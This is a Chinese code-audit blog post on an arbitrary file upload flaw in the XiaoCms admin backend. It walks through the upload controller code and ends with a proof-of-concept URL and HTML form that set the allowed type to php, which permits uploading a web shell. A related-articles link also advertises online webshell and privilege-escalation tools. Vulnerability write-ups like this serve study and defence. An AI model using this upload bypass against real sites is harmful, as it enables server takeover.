专栏首页黑白安全XiaoCms丨代码审计

XiaoCms丨代码审计

源码下载地址:http://www.xiaocms.com/

0x01 入口文件

index.php 中包含了xiaocms.php

0x02 后台任意文件上传

文件路径:core\library/upload.class.php

upload函数 53行 if判断 !为取反, is_array函数用于检测变量是否是一个数组 ||为或 运算符 empty() 函数用于检查一个变量是否为空,,move_upload_file()函数将上传的文件移动到新位置

$file_upload这个变量传入了parse_init 我们跟踪一下

get_file_ext()获取文件扩展名

$this->limit_type通过set_limit_type函数获取,搜索set_limit_type  

在admin/controller/uploadfile.php中发现upload函数

private function upload($fields, $type, $size) {
		$upload   = xiaocms::load_class('upload');
        $ext      = strtolower(substr(strrchr($_FILES[$fields]['name'], '.'), 1));
        if (in_array($ext, array('jpg','jpeg','bmp','png','gif'))) {
            $dir  = 'image';
        } else {
            $dir  = 'file';
        }
        $path    = $this->dir .$dir . '/' . date('Ym') . '/';
		if (!is_dir(XIAOCMS_PATH.$path)) mkdirs(XIAOCMS_PATH.$path);
        $file     = $_FILES[$fields]['name'];
	    $filename = md5(time() . $_FILES[$fields]['name']) . '.' . $ext;
		$filenpath = $path.$filename;
        $result   = $upload->set_limit_size(1024*1024*$size)->set_limit_type($type)->upload($_FILES[$fields],XIAOCMS_PATH.$filenpath);
        if (in_array($ext, array('jpg', 'gif', 'png', 'bmp'))) {
		$this->watermark(XIAOCMS_PATH.$filenpath);
        }
        return array('result'=>$result, 'path'=>  SITE_PATH . $filenpath, 'file'=>$file , 'ext'=>$dir=='image' ? 1 : $ext);
    }

同样在admin/controller/uploadfile.php中发现uploadify_uploadAction函数 

public function uploadify_uploadAction() {
	    $type = $this->get('type');
		$size = (int)$this->get('size');
	    if ($this->post('submit')) {
	        $data = $this->upload('file', explode(',', $type), $size);
            if ($data['result']) echo $data['path'];
	    }
	}

$this->limit_type与$this->limit_size都可以控制了,接下来构造upload.html

http://www.xxx.com/admin/?c=uploadfile&a=uploadify_upload&type=php&size=1000  

<html>
    <body>
    <form action="http://www.xxx.com//admin//index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="hidden" name="submit" value="submit"/>
    <input type="submit" value="submit" />
    </form></body></html>

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 都是 HBase 上的 SQL 引擎,Kylin 和 Phoenix 有什么不同?

    大数据时代,数据的价值越来越被重视,企业从海量大数据中挖掘所需要的信息,用来驱动业务决策以获得更大的商业价值。

    周俊辉
  • 黑白安全实验室上线!

    在线Webshell管理/提权辅助/在线Mysql注入/Whois查询/端口扫描.

    周俊辉
  • 缓冲区溢出说明:基础知识

    软件中最常见和最古老的安全漏洞之一是缓冲区溢出漏洞。从操作系统到客户端/服务器应用程序和桌面软件的各种软件都会出现缓冲区溢出漏洞。这通常是由于编程错误以及应用程...

    周俊辉
  • 一个SAP CRM WebClient UI component元数据的解析工具

    Jerry Wang
  • IT Helpdesk:想说爱你不容易

    使用Helpdesk系统协助IT的日常工作,其实是从第3家公司伟创力开始的,记得当时的系统是同事Xu开发的,用的还是asp,后来我还进行过一些小修改。当初这个系...

    崔文远TroyCui
  • CRD的未来:结构模式

    CustomResourceDefinitions大约在两年前引入,作为使用定制资源扩展Kubernetes API的主要方法。从一开始,他们就存储任意的JSO...

    CNCF
  • Druid 0.17入门(4)—— 数据查询方式大全

    具体查看 https://druid.apache.org/libraries.html

    用户6070864
  • Druid 0.17入门(4)—— 数据查询方式大全

    具体查看 https://druid.apache.org/libraries.html

    实时计算
  • Kotlin 与RecycleView简介

    code_horse
  • Material Design — Navigation drawerStandard drawer Modal drawer Bottom drawer

    霖酱

扫码关注云+社区

领取腾讯云代金券